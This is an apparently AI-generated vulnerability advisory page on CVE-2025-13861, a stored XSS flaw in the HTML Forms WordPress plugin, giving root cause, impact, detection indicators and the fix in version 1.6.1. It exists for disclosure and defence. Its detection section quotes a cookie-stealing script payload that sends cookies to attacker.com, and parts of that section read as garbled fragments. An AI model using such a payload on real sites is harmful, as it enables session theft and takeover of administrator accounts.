
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2025-13861 is an unauthenticated Stored Cross-Site Scripting (XSS) vulnerability in the HTML Forms – Simple WordPress Forms Plugin for WordPress. It affects all versions up to and including 1.6.0 and stems from insufficient sanitization of fabricated file upload field metadata before it is rendered in the WordPress admin dashboard. An unauthenticated attacker can inject arbitrary JavaScript that executes whenever an administrator visits the form submissions page. The vulnerability was published on December 17, 2025, and carries a CVSS v3.1 base score of 6.1 (Medium) (Wordfence, Red Hat CVE).
The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation – Cross-Site Scripting). The plugin fails to properly sanitize file upload field metadata submitted by unauthenticated users before storing and later displaying it in the admin dashboard's form submissions view. An attacker crafts a malicious form submission containing a fabricated file upload field whose metadata includes a JavaScript payload; because no privilege is required to submit a form, the attack requires zero authentication. The vulnerable code paths are located in src/functions.php around lines 321 and 357 of the plugin's trunk (Wordfence, WordPress Trac).
Successful exploitation allows an unauthenticated attacker to persistently inject malicious scripts into the WordPress admin dashboard. When an administrator views the form submissions page, the stored payload executes in their browser session, potentially enabling session cookie theft, privilege escalation to full site administrator access, creation of rogue admin accounts, installation of backdoors, or complete site takeover. The confidentiality and integrity of the WordPress site are both at risk, though availability is not directly impacted (Wordfence, Red Hat CVE).
No public exploit code or active in-the-wild exploitation has been reported as of the time of writing. The EPSS score is approximately 0.087%, indicating a low (but non-zero) probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The attack is relatively straightforward — it requires no authentication and only needs an administrator to visit the submissions page — which lowers the practical barrier for exploitation (Wordfence, ENISA EUVD).
wp-content/plugins/html-forms/readme.txt.<script>document.location='https://attacker.com/steal?c='+document.cookie</script>.Content-Disposition or filename values containing HTML/JavaScript characters (<, >, script).wp_hf_submission_meta (or equivalent HTML Forms submission) table containing raw <script> tags or JavaScript URIs in file metadata columns.Update the HTML Forms – Simple WordPress Forms Plugin to version 1.6.1 or later, which includes the fix for insufficient sanitization of file upload field metadata. The patch can be reviewed in the WordPress plugin changeset. As an interim workaround for sites that cannot immediately update, consider disabling file upload fields in all active forms or temporarily deactivating the plugin. Additionally, a Web Application Firewall (WAF) rule targeting stored XSS patterns in form submissions can provide partial mitigation (Wordfence).
The vulnerability was discovered and disclosed by Wordfence, which assigned it and published the advisory on December 17, 2025. Coverage has been picked up by standard vulnerability aggregators including VulDB, Vulners, CVEFeed, and CIRCL, as well as a brief mention on Bluesky's CVE feed. No notable independent researcher commentary or significant media coverage beyond routine vulnerability tracking has been observed (Wordfence).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."